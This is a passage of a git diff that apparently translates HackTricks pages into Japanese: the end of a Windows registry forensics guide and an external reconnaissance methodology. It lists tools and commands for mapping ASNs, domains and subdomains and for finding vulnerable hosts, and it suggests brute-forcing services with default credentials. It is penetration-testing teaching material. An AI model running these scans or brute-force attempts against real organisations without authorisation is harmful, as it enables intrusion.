**Time Zone Setting** +### **タイムゾーン設定** -- The system's time zone is stored in **`System\ControlSet001\Control\TimeZoneInformation`**. +- システムのタイムゾーンは**`System\ControlSet001\Control\TimeZoneInformation`**に保存されています。 -### **Access Time Tracking** +### **アクセス時間の追跡** -- By default, the last access time tracking is turned off (**`NtfsDisableLastAccessUpdate=1`**). To enable it, use: - `fsutil behavior set disablelastaccess 0` +- デフォルトでは、最終アクセス時間の追跡はオフになっています(**`NtfsDisableLastAccessUpdate=1`**)。これを有効にするには、次のコマンドを使用します: +`fsutil behavior set disablelastaccess 0` -### Windows Versions and Service Packs +### Windowsバージョンとサービスパック -- The **Windows version** indicates the edition (e.g., Home, Pro) and its release (e.g., Windows 10, Windows 11), while **Service Packs** are updates that include fixes and, sometimes, new features. +- **Windowsバージョン**はエディション(例:Home、Pro)とそのリリース(例:Windows 10、Windows 11)を示し、**サービスパック**は修正や時には新機能を含む更新です。 -### Enabling Last Access Time +### 最終アクセス時間の有効化 -- Enabling last access time tracking allows you to see when files were last opened, which can be critical for forensic analysis or system monitoring. +- 最終アクセス時間の追跡を有効にすると、ファイルが最後に開かれた時刻を確認でき、法医学的分析やシステム監視にとって重要です。 -### Network Information Details +### ネットワーク情報の詳細 -- The registry holds extensive data on network configurations, including **types of networks (wireless, cable, 3G)** and **network categories (Public, Private/Home, Domain/Work)**, which are vital for understanding network security settings and permissions. +- レジストリには、**ネットワークの種類(ワイヤレス、ケーブル、3G)**や**ネットワークカテゴリ(パブリック、プライベート/ホーム、ドメイン/ワーク)**を含む、ネットワーク構成に関する広範なデータが保持されており、ネットワークセキュリティ設定や権限を理解するために重要です。 -### Client Side Caching (CSC) +### クライアントサイドキャッシング(CSC) -- **CSC** enhances offline file access by caching copies of shared files. Different **CSCFlags** settings control how and what files are cached, affecting performance and user experience, especially in environments with intermittent connectivity. +- **CSC**は、共有ファイルのコピーをキャッシュすることでオフラインファイルアクセスを向上させます。異なる**CSCFlags**設定は、どのファイルがどのようにキャッシュされるかを制御し、特に接続が不安定な環境でのパフォーマンスやユーザー体験に影響を与えます。 -### AutoStart Programs +### 自動起動プログラム -- Programs listed in various `Run` and `RunOnce` registry keys are automatically launched at startup, affecting system boot time and potentially being points of interest for identifying malware or unwanted software. +- 様々な`Run`および`RunOnce`レジストリキーにリストされているプログラムは、起動時に自動的に起動され、システムのブート時間に影響を与え、マルウェアや不要なソフトウェアを特定するための興味のあるポイントとなる可能性があります。 -### Shellbags +### シェルバッグ -- **Shellbags** not only store preferences for folder views but also provide forensic evidence of folder access even if the folder no longer exists. They are invaluable for investigations, revealing user activity that isn't obvious through other means. +- **シェルバッグ**はフォルダビューの設定を保存するだけでなく、フォルダが存在しなくてもフォルダアクセスの法医学的証拠を提供します。これは、他の手段では明らかでないユーザーの活動を明らかにするため、調査にとって非常に貴重です。 -### USB Information and Forensics +### USB情報と法医学 -- The details stored in the registry about USB devices can help trace which devices were connected to a computer, potentially linking a device to sensitive file transfers or unauthorized access incidents. +- レジストリに保存されたUSBデバイスに関する詳細は、どのデバイスがコンピュータに接続されていたかを追跡するのに役立ち、デバイスを機密ファイル転送や不正アクセスのインシデントに関連付ける可能性があります。 -### Volume Serial Number +### ボリュームシリアル番号 -- The **Volume Serial Number** can be crucial for tracking the specific instance of a file system, useful in forensic scenarios where file origin needs to be established across different devices. +- **ボリュームシリアル番号**は、ファイルシステムの特定のインスタンスを追跡するのに重要であり、異なるデバイス間でファイルの起源を確立する必要がある法医学的シナリオで役立ちます。 -### **Shutdown Details** +### **シャットダウンの詳細** -- Shutdown time and count (the latter only for XP) are kept in **`System\ControlSet001\Control\Windows`** and **`System\ControlSet001\Control\Watchdog\Display`**. +- シャットダウン時間とカウント(後者はXPのみ)は、**`System\ControlSet001\Control\Windows`**および**`System\ControlSet001\Control\Watchdog\Display`**に保持されています。 -### **Network Configuration** +### **ネットワーク構成** -- For detailed network interface info, refer to **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**. -- First and last network connection times, including VPN connections, are logged under various paths in **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`**. +- 詳細なネットワークインターフェース情報については、**`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**を参照してください。 +- 最初と最後のネットワーク接続時間(VPN接続を含む)は、**`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`**のさまざまなパスに記録されています。 -### **Shared Folders** +### **共有フォルダ** -- Shared folders and settings are under **`System\ControlSet001\Services\lanmanserver\Shares`**. The Client Side Caching (CSC) settings dictate offline file availability. +- 共有フォルダと設定は**`System\ControlSet001\Services\lanmanserver\Shares`**の下にあります。クライアントサイドキャッシング(CSC)設定はオフラインファイルの可用性を決定します。 -### **Programs that Start Automatically** +### **自動的に起動するプログラム** -- Paths like **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`** and similar entries under `Software\Microsoft\Windows\CurrentVersion` detail programs set to run at startup. +- **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`**のようなパスや、`Software\Microsoft\Windows\CurrentVersion`の下の類似のエントリは、起動時に実行されるプログラムの詳細を示します。 -### **Searches and Typed Paths** +### **検索と入力されたパス** -- Explorer searches and typed paths are tracked in the registry under **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`** for WordwheelQuery and TypedPaths, respectively. +- エクスプローラーの検索と入力されたパスは、**`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`**の下でWordwheelQueryおよびTypedPathsとして追跡されます。 -### **Recent Documents and Office Files** +### **最近の文書とOfficeファイル** -- Recent documents and Office files accessed are noted in `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` and specific Office version paths. +- 最近アクセスされた文書とOfficeファイルは、`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs`および特定のOfficeバージョンのパスに記録されています。 -### **Most Recently Used (MRU) Items** +### **最も最近使用された(MRU)アイテム** -- MRU lists, indicating recent file paths and commands, are stored in various `ComDlg32` and `Explorer` subkeys under `NTUSER.DAT`. +- 最近のファイルパスやコマンドを示すMRUリストは、`NTUSER.DAT`のさまざまな`ComDlg32`および`Explorer`サブキーに保存されています。 -### **User Activity Tracking** +### **ユーザー活動の追跡** -- The User Assist feature logs detailed application usage stats, including run count and last run time, at **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`**. +- ユーザーアシスト機能は、実行回数や最終実行時間を含む詳細なアプリケーション使用統計を**`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`**に記録します。 -### **Shellbags Analysis** +### **シェルバッグの分析** -- Shellbags, revealing folder access details, are stored in `USRCLASS.DAT` and `NTUSER.DAT` under `Software\Microsoft\Windows\Shell`. Use **[Shellbag Explorer](https://ericzimmerman.github.io/#!index.md)** for analysis. +- フォルダアクセスの詳細を明らかにするシェルバッグは、`USRCLASS.DAT`および`NTUSER.DAT`の下の`Software\Microsoft\Windows\Shell`に保存されています。分析には**[Shellbag Explorer](https://ericzimmerman.github.io/#!index.md)**を使用してください。 -### **USB Device History** +### **USBデバイスの履歴** -- **`HKLM\SYSTEM\ControlSet001\Enum\USBSTOR`** and **`HKLM\SYSTEM\ControlSet001\Enum\USB`** contain rich details on connected USB devices, including manufacturer, product name, and connection timestamps. -- The user associated with a specific USB device can be pinpointed by searching `NTUSER.DAT` hives for the device's **{GUID}**. -- The last mounted device and its volume serial number can be traced through `System\MountedDevices` and `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt`, respectively. +- **`HKLM\SYSTEM\ControlSet001\Enum\USBSTOR`**および**`HKLM\SYSTEM\ControlSet001\Enum\USB`**には、接続されたUSBデバイスに関する豊富な詳細が含まれており、製造元、製品名、接続タイムスタンプが含まれます。 +- 特定のUSBデバイスに関連付けられたユーザーは、デバイスの**{GUID}**を検索することで特定できます。 +- 最後にマウントされたデバイスとそのボリュームシリアル番号は、それぞれ`System\MountedDevices`および`Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt`を通じて追跡できます。 -This guide condenses the crucial paths and methods for accessing detailed system, network, and user activity information on Windows systems, aiming for clarity and usability. +このガイドは、Windowsシステム上の詳細なシステム、ネットワーク、およびユーザー活動情報にアクセスするための重要なパスと方法を要約し、明確さと使いやすさを目指しています。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/README.md b/src/generic-methodologies-and-resources/external-recon-methodology/README.md index ef4a9559e..9b54cc3fd 100644 --- a/src/generic-methodologies-and-resources/external-recon-methodology/README.md +++ b/src/generic-methodologies-and-resources/external-recon-methodology/README.md @@ -1,49 +1,40 @@ -# External Recon Methodology +# 外部リコンメソドロジー {{#include ../../banners/hacktricks-training.md}} -
+## 資産の発見 -If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). +> ある会社に属するすべてのものがスコープ内にあると言われており、その会社が実際に所有しているものを把握したいと思っています。 -{% embed url="https://www.stmcyber.com/careers" %} +このフェーズの目標は、**主要な会社が所有するすべての会社**と、これらの会社の**資産**を取得することです。そのために、以下を行います: -## Assets discoveries +1. 主要な会社の買収を見つけます。これにより、スコープ内の会社がわかります。 +2. 各会社のASN(もしあれば)を見つけます。これにより、各会社が所有するIP範囲がわかります。 +3. 逆whois検索を使用して、最初のものに関連する他のエントリ(組織名、ドメインなど)を検索します(これは再帰的に行うことができます)。 +4. shodanの`org`および`ssl`フィルターなどの他の技術を使用して、他の資産を検索します(`ssl`トリックは再帰的に行うことができます)。 -> So you were said that everything belonging to some company is inside the scope, and you want to figure out what this company actually owns. +### **買収** -The goal of this phase is to obtain all the **companies owned by the main company** and then all the **assets** of these companies. To do so, we are going to: +まず最初に、**主要な会社が所有する他の会社**を知る必要があります。\ +一つのオプションは、[https://www.crunchbase.com/](https://www.crunchbase.com)を訪れ、**主要な会社**を**検索**し、**「買収」**を**クリック**することです。そこで、主要な会社によって買収された他の会社を見ることができます。\ +もう一つのオプションは、主要な会社の**Wikipedia**ページを訪れ、**買収**を検索することです。 -1. Find the acquisitions of the main company, this will give us the companies inside the scope. -2. Find the ASN (if any) of each company, this will give us the IP ranges owned by each company -3. Use reverse whois lookups to search for other entries (organisation names, domains...) related to the first one (this can be done recursively) -4. Use other techniques like shodan `org`and `ssl`filters to search for other assets (the `ssl` trick can be done recursively). - -### **Acquisitions** - -First of all, we need to know which **other companies are owned by the main company**.\ -One option is to visit [https://www.crunchbase.com/](https://www.crunchbase.com), **search** for the **main company**, and **click** on "**acquisitions**". There you will see other companies acquired by the main one.\ -Other option is to visit the **Wikipedia** page of the main company and search for **acquisitions**. - -> Ok, at this point you should know all the companies inside the scope. Lets figure out how to find their assets. +> さて、この時点でスコープ内のすべての会社を知っているはずです。彼らの資産を見つける方法を考えましょう。 ### **ASNs** -An autonomous system number (**ASN**) is a **unique number** assigned to an **autonomous system** (AS) by the **Internet Assigned Numbers Authority (IANA)**.\ -An **AS** consists of **blocks** of **IP addresses** which have a distinctly defined policy for accessing external networks and are administered by a single organisation but may be made up of several operators. - -It's interesting to find if the **company have assigned any ASN** to find its **IP ranges.** It will be interested to perform a **vulnerability test** against all the **hosts** inside the **scope** and **look for domains** inside these IPs.\ -You can **search** by company **name**, by **IP** or by **domain** in [**https://bgp.he.net/**](https://bgp.he.net)**.**\ -**Depending on the region of the company this links could be useful to gather more data:** [**AFRINIC**](https://www.afrinic.net) **(Africa),** [**Arin**](https://www.arin.net/about/welcome/region/)**(North America),** [**APNIC**](https://www.apnic.net) **(Asia),** [**LACNIC**](https://www.lacnic.net) **(Latin America),** [**RIPE NCC**](https://www.ripe.net) **(Europe). Anyway, probably all the** useful information **(IP ranges and Whois)** appears already in the first link. +自律システム番号(**ASN**)は、**インターネット割り当て番号機関(IANA)**によって**自律システム**(AS)に割り当てられた**ユニークな番号**です。\ +**AS**は、外部ネットワークへのアクセスに対して明確に定義されたポリシーを持つ**IPアドレス**の**ブロック**で構成され、単一の組織によって管理されますが、複数のオペレーターで構成される場合があります。 +**会社が割り当てたASN**を見つけて、その**IP範囲**を特定することは興味深いです。**スコープ内のすべてのホスト**に対して**脆弱性テスト**を実施し、これらのIP内の**ドメイン**を探すことが興味深いでしょう。\ +[**https://bgp.he.net/**](https://bgp.he.net)で会社の**名前**、**IP**、または**ドメイン**で**検索**できます。\ +**会社の地域によっては、これらのリンクがより多くのデータを収集するのに役立つかもしれません:** [**AFRINIC**](https://www.afrinic.net) **(アフリカ)、** [**Arin**](https://www.arin.net/about/welcome/region/) **(北アメリカ)、** [**APNIC**](https://www.apnic.net) **(アジア)、** [**LACNIC**](https://www.lacnic.net) **(ラテンアメリカ)、** [**RIPE NCC**](https://www.ripe.net) **(ヨーロッパ)。とにかく、おそらくすべての**有用な情報**(IP範囲とWhois)は最初のリンクにすでに表示されています。 ```bash #You can try "automate" this with amass, but it's not very recommended amass intel -org tesla amass intel -asn 8911,50313,394161 ``` - -Also, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** subdomain enumeration automatically aggregates and summarizes ASNs at the end of the scan. - +また、[**BBOT**](https://github.com/blacklanternsecurity/bbot)**の**サブドメイン列挙は、スキャンの最後にASNを自動的に集約して要約します。 ```bash bbot -t tesla.com -f subdomain-enum ... @@ -60,62 +51,59 @@ bbot -t tesla.com -f subdomain-enum [INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+ ``` +あなたは、[http://asnlookup.com/](http://asnlookup.com)を使用して、組織のIP範囲を見つけることができます(無料のAPIがあります)。\ +ドメインのIPとASNを見つけるには、[http://ipv4info.com/](http://ipv4info.com)を使用できます。 -You can find the IP ranges of an organisation also using [http://asnlookup.com/](http://asnlookup.com) (it has free API).\ -You can find the IP and ASN of a domain using [http://ipv4info.com/](http://ipv4info.com). +### **脆弱性の探索** -### **Looking for vulnerabilities** +この時点で、**スコープ内のすべての資産**を把握しているので、許可されている場合は、すべてのホストに対して**脆弱性スキャナー**(Nessus、OpenVAS)を実行することができます。\ +また、[**ポートスキャン**](../pentesting-network/#discovering-hosts-from-the-outside)を実行するか、shodanのようなサービスを使用して**オープンポートを見つけることができ、見つけたものに応じて、この本を参照して、実行中のさまざまなサービスをペンテストする方法を確認するべきです。**\ +**また、デフォルトのユーザー名**と**パスワードのリストを準備し、[https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray)を使用してサービスをブルートフォースすることも価値があるかもしれません。** -At this point we known **all the assets inside the scope**, so if you are allowed you could launch some **vulnerability scanner** (Nessus, OpenVAS) over all the hosts.\ -Also, you could launch some [**port scans**](../pentesting-network/#discovering-hosts-from-the-outside) **or use services like** shodan **to find** open ports **and depending on what you find you should** take a look in this book to how to pentest several possible services running.\ -**Also, It could be worth it to mention that you can also prepare some** default username **and** passwords **lists and try to** bruteforce services with [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray). +## ドメイン -## Domains +> スコープ内のすべての企業とその資産を把握しているので、スコープ内のドメインを見つける時です。 -> We know all the companies inside the scope and their assets, it's time to find the domains inside the scope. +_次に提案する技術では、サブドメインも見つけることができ、その情報は過小評価すべきではありません。_ -_Please, note that in the following purposed techniques you can also find subdomains and that information shouldn't be underrated._ +まず、各企業の**主要ドメイン**を探すべきです。例えば、_Tesla Inc._の主要ドメインは_tesla.com_になります。 -First of all you should look for the **main domain**(s) of each company. For example, for _Tesla Inc._ is going to be _tesla.com_. - -### **Reverse DNS** - -As you have found all the IP ranges of the domains you could try to perform **reverse dns lookups** on those **IPs to find more domains inside the scope**. Try to use some dns server of the victim or some well-known dns server (1.1.1.1, 8.8.8.8) +### **逆引きDNS** +ドメインのすべてのIP範囲を見つけたので、それらの**IPに対して逆引きDNSルックアップを実行して、スコープ内のさらに多くのドメインを見つけることができます。**被害者のDNSサーバーまたは一般的なDNSサーバー(1.1.1.1、8.8.8.8)を使用してみてください。 ```bash dnsrecon -r -n #DNS reverse of all of the addresses dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns ``` +この機能を利用するには、管理者が手動でPTRを有効にする必要があります。\ +この情報のためにオンラインツールを使用することもできます: [http://ptrarchive.com/](http://ptrarchive.com) -For this to work, the administrator has to enable manually the PTR.\ -You can also use a online tool for this info: [http://ptrarchive.com/](http://ptrarchive.com) +### **リバースWhois(ループ)** -### **Reverse Whois (loop)** +**whois**の中には、**組織名**、**住所**、**メール**、電話番号などの多くの興味深い**情報**が含まれています... しかし、さらに興味深いのは、これらのフィールドのいずれかで**リバースWhois検索**を行うと、**会社に関連する他の資産**を見つけることができることです(例えば、同じメールが表示される他のwhoisレジストリ)。\ +次のようなオンラインツールを使用できます: -Inside a **whois** you can find a lot of interesting **information** like **organisation name**, **address**, **emails**, phone numbers... But which is even more interesting is that you can find **more assets related to the company** if you perform **reverse whois lookups by any of those fields** (for example other whois registries where the same email appears).\ -You can use online tools like: +- [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **無料** +- [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **無料** +- [https://www.reversewhois.io/](https://www.reversewhois.io) - **無料** +- [https://www.whoxy.com/](https://www.whoxy.com) - **無料**のウェブ、APIは無料ではありません。 +- [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - 無料ではありません +- [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - 無料ではありません(**100回の無料**検索のみ) +- [https://www.domainiq.com/](https://www.domainiq.com) - 無料ではありません -- [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Free** -- [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Free** -- [https://www.reversewhois.io/](https://www.reversewhois.io) - **Free** -- [https://www.whoxy.com/](https://www.whoxy.com) - **Free** web, not free API. -- [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Not free -- [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Not Free (only **100 free** searches) -- [https://www.domainiq.com/](https://www.domainiq.com) - Not Free +[**DomLink** ](https://github.com/vysecurity/DomLink)を使用してこのタスクを自動化できます(whoxy APIキーが必要です)。\ +また、[amass](https://github.com/OWASP/Amass)を使用して自動リバースWhois発見を行うこともできます: `amass intel -d tesla.com -whois` -You can automate this task using [**DomLink** ](https://github.com/vysecurity/DomLink)(requires a whoxy API key).\ -You can also perform some automatic reverse whois discovery with [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois` +**新しいドメインを見つけるたびに、この技術を使用してさらに多くのドメイン名を発見できることに注意してください。** -**Note that you can use this technique to discover more domain names every time you find a new domain.** +### **トラッカー** -### **Trackers** +異なる2つのページで**同じトラッカーの同じID**を見つけた場合、**両方のページ**が**同じチームによって管理されている**と推測できます。\ +例えば、複数のページで同じ**Google Analytics ID**や同じ**Adsense ID**を見た場合です。 -If find the **same ID of the same tracker** in 2 different pages you can suppose that **both pages** are **managed by the same team**.\ -For example, if you see the same **Google Analytics ID** or the same **Adsense ID** on several pages. - -There are some pages and tools that let you search by these trackers and more: +これらのトラッカーやその他の情報を検索できるページやツールがあります: - [**Udon**](https://github.com/dhn/udon) - [**BuiltWith**](https://builtwith.com) @@ -123,115 +111,101 @@ There are some pages and tools that let you search by these trackers and more: - [**Publicwww**](https://publicwww.com) - [**SpyOnWeb**](http://spyonweb.com) -### **Favicon** - -Did you know that we can find related domains and sub domains to our target by looking for the same favicon icon hash? This is exactly what [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) tool made by [@m4ll0k2](https://twitter.com/m4ll0k2) does. Here’s how to use it: +### **ファビコン** +同じファビコンアイコンのハッシュを探すことで、ターゲットに関連するドメインやサブドメインを見つけることができることをご存知でしたか?これは、[@m4ll0k2](https://twitter.com/m4ll0k2)によって作成されたツール[favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py)が行うことです。使用方法は次のとおりです: ```bash cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt python3 favihash.py -f https://target/favicon.ico -t targets.txt -s ``` +![favihash - 同じfaviconアイコンハッシュを持つドメインを発見する](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg) -![favihash - discover domains with the same favicon icon hash](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg) - -Simply said, favihash will allow us to discover domains that have the same favicon icon hash as our target. - -Moreover, you can also search technologies using the favicon hash as explained in [**this blog post**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). That means that if you know the **hash of the favicon of a vulnerable version of a web tech** you can search if in shodan and **find more vulnerable places**: +簡単に言うと、favihashはターゲットと同じfaviconアイコンハッシュを持つドメインを発見することを可能にします。 +さらに、[**このブログ記事**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139)で説明されているように、faviconハッシュを使用して技術を検索することもできます。つまり、**脆弱なバージョンのウェブ技術のfaviconのハッシュ**を知っていれば、shodanで検索して**より多くの脆弱な場所を見つける**ことができます。 ```bash shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}' ``` - -This is how you can **calculate the favicon hash** of a web: - +これはウェブの**ファビコンハッシュ**を計算する方法です: ```python import mmh3 import requests import codecs def fav_hash(url): - response = requests.get(url) - favicon = codecs.encode(response.content,"base64") - fhash = mmh3.hash(favicon) - print(f"{url} : {fhash}") - return fhash +response = requests.get(url) +favicon = codecs.encode(response.content,"base64") +fhash = mmh3.hash(favicon) +print(f"{url} : {fhash}") +return fhash ``` +### **著作権 / ユニークな文字列** -### **Copyright / Uniq string** +ウェブページ内で、**同じ組織内の異なるウェブサイトで共有される可能性のある文字列**を検索します。**著作権文字列**は良い例かもしれません。その後、**google**、他の**ブラウザ**、または**shodan**でその文字列を検索します: `shodan search http.html:"Copyright string"` -Search inside the web pages **strings that could be shared across different webs in the same organisation**. The **copyright string** could be a good example. Then search for that string in **google**, in other **browsers** or even in **shodan**: `shodan search http.html:"Copyright string"` - -### **CRT Time** - -It's common to have a cron job such as +### **CRT 時間** +cronジョブを持つことは一般的です。 ```bash # /etc/crontab 37 13 */10 * * certbot renew --post-hook "systemctl reload nginx" ``` +サーバー上のすべてのドメイン証明書を更新することです。これは、これに使用されるCAが有効期限内に生成された時間を設定していなくても、**証明書透明性ログで同じ会社に属するドメインを見つけることが可能である**ことを意味します。\ +この[**詳細情報のための書き込み**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/)をチェックしてください。 -to renew the all the domain certificates on the server. This means that even if the CA used for this doesn't set the time it was generated in the Validity time, it's possible to **find domains belonging to the same company in the certificate transparency logs**.\ -Check out this [**writeup for more information**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/). +### Mail DMARC情報 -### Mail DMARC information +[https://dmarc.live/info/google.com](https://dmarc.live/info/google.com)のようなウェブサイトや、[https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains)のようなツールを使用して、**同じDMARC情報を共有するドメインとサブドメインを見つけることができます**。 -You can use a web such as [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) or a tool such as [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) to find **domains and subdomain sharing the same dmarc information**. +### **パッシブテイクオーバー** -### **Passive Takeover** +人々がクラウドプロバイダーに属するIPにサブドメインを割り当て、ある時点で**そのIPアドレスを失い、DNSレコードを削除するのを忘れる**ことが一般的であるようです。したがって、クラウド(Digital Oceanなど)で**VMを生成する**だけで、実際に**いくつかのサブドメインを取得する**ことになります。 -Apparently is common for people to assign subdomains to IPs that belongs to cloud providers and at some point **lose that IP address but forget about removing the DNS record**. Therefore, just **spawning a VM** in a cloud (like Digital Ocean) you will be actually **taking over some subdomains(s)**. +[**この投稿**](https://kmsec.uk/blog/passive-takeover/)はそのストーリーを説明し、**DigitalOceanでVMを生成し**、**新しいマシンの**IPv4を**取得し**、**それにポイントするサブドメインレコードをVirustotalで検索する**スクリプトを提案しています。 -[**This post**](https://kmsec.uk/blog/passive-takeover/) explains a store about it and propose a script that **spawns a VM in DigitalOcean**, **gets** the **IPv4** of the new machine, and **searches in Virustotal for subdomain records** pointing to it. +### **その他の方法** -### **Other ways** - -**Note that you can use this technique to discover more domain names every time you find a new domain.** +**新しいドメインを見つけるたびに、この技術を使用してさらに多くのドメイン名を発見できることに注意してください。** **Shodan** -As you already know the name of the organisation owning the IP space. You can search by that data in shodan using: `org:"Tesla, Inc."` Check the found hosts for new unexpected domains in the TLS certificate. +IPスペースを所有する組織の名前がわかっているので、そのデータを使用してshodanで検索できます: `org:"Tesla, Inc."` 見つかったホストを確認して、TLS証明書に新しい予期しないドメインがないか確認してください。 -You could access the **TLS certificate** of the main web page, obtain the **Organisation name** and then search for that name inside the **TLS certificates** of all the web pages known by **shodan** with the filter : `ssl:"Tesla Motors"` or use a tool like [**sslsearch**](https://github.com/HarshVaragiya/sslsearch). +メインウェブページの**TLS証明書**にアクセスし、**組織名**を取得し、その名前を持つ**shodan**で知られているすべてのウェブページの**TLS証明書**内で検索できます。フィルター: `ssl:"Tesla Motors"`を使用するか、[**sslsearch**](https://github.com/HarshVaragiya/sslsearch)のようなツールを使用します。 **Assetfinder** -[**Assetfinder** ](https://github.com/tomnomnom/assetfinder)is a tool that look for **domains related** with a main domain and **subdomains** of them, pretty amazing. +[**Assetfinder**](https://github.com/tomnomnom/assetfinder)は、メインドメインに関連する**ドメイン**とその**サブドメイン**を探すツールで、非常に素晴らしいです。 -### **Looking for vulnerabilities** +### **脆弱性の検索** -Check for some [domain takeover](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Maybe some company is **using some a domain** but they **lost the ownership**. Just register it (if cheap enough) and let know the company. +いくつかの[ドメインテイクオーバー](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover)を確認してください。ある会社が**ドメインを使用しているが、所有権を失った**可能性があります。十分に安価であれば、それを登録し、会社に知らせてください。 -If you find any **domain with an IP different** from the ones you already found in the assets discovery, you should perform a **basic vulnerability scan** (using Nessus or OpenVAS) and some [**port scan**](../pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.\ +もし**資産発見で既に見つけたIPとは異なるIPを持つドメイン**を見つけた場合、**基本的な脆弱性スキャン**(NessusまたはOpenVASを使用)と、**nmap/masscan/shodan**を使用したいくつかの[**ポートスキャン**](../pentesting-network/#discovering-hosts-from-the-outside)を実行するべきです。実行中のサービスに応じて、**この本で「攻撃」するためのいくつかのトリックを見つけることができます**。\ &#xNAN;_Note that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._ -\ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! -{% embed url="https://go.intigriti.com/hacktricks" %} -## Subdomains +## サブドメイン -> We know all the companies inside the scope, all the assets of each company and all the domains related to the companies. +> スコープ内のすべての会社、各会社のすべての資産、および会社に関連するすべてのドメインを知っています。 -It's time to find all the possible subdomains of each found domain. +見つかった各ドメインのすべての可能なサブドメインを見つける時が来ました。 > [!TIP] -> Note that some of the tools and techniques to find domains can also help to find subdomains +> ドメインを見つけるためのいくつかのツールや技術は、サブドメインを見つけるのにも役立つことに注意してください。 ### **DNS** -Let's try to get **subdomains** from the **DNS** records. We should also try for **Zone Transfer** (If vulnerable, you should report it). - +**DNS**レコードから**サブドメイン**を取得しようとしましょう。**ゾーン転送**も試みるべきです(脆弱な場合は報告する必要があります)。 ```bash dnsrecon -a -d tesla.com ``` - ### **OSINT** -The fastest way to obtain a lot of subdomains is search in external sources. The most used **tools** are the following ones (for better results configure the API keys): +多くのサブドメインを迅速に取得する最も効果的な方法は、外部ソースで検索することです。最も使用される**ツール**は以下の通りです(より良い結果を得るためにAPIキーを設定してください): - [**BBOT**](https://github.com/blacklanternsecurity/bbot) - ```bash # subdomains bbot -t tesla.com -f subdomain-enum @@ -242,108 +216,80 @@ bbot -t tesla.com -f subdomain-enum -rf passive # subdomains + port scan + web screenshots bbot -t tesla.com -f subdomain-enum -m naabu gowitness -n my_scan -o . ``` - - [**Amass**](https://github.com/OWASP/Amass) - ```bash amass enum [-active] [-ip] -d tesla.com amass enum -d tesla.com | grep tesla.com # To just list subdomains ``` - - [**subfinder**](https://github.com/projectdiscovery/subfinder) - ```bash # Subfinder, use -silent to only have subdomains in the output ./subfinder-linux-amd64 -d tesla.com [-silent] ``` - - [**findomain**](https://github.com/Edu4rdSHL/findomain/) - ```bash # findomain, use -silent to only have subdomains in the output ./findomain-linux -t tesla.com [--quiet] ``` - - [**OneForAll**](https://github.com/shmilylty/OneForAll/tree/master/docs/en-us) - ```bash python3 oneforall.py --target tesla.com [--dns False] [--req False] [--brute False] run ``` - - [**assetfinder**](https://github.com/tomnomnom/assetfinder) - ```bash assetfinder --subs-only ``` - - [**Sudomy**](https://github.com/Screetsec/Sudomy) - ```bash # It requires that you create a sudomy.api file with API keys sudomy -d tesla.com ``` - - [**vita**](https://github.com/junnlikestea/vita) - ``` vita -d tesla.com ``` - - [**theHarvester**](https://github.com/laramies/theHarvester) - ```bash theHarvester -d 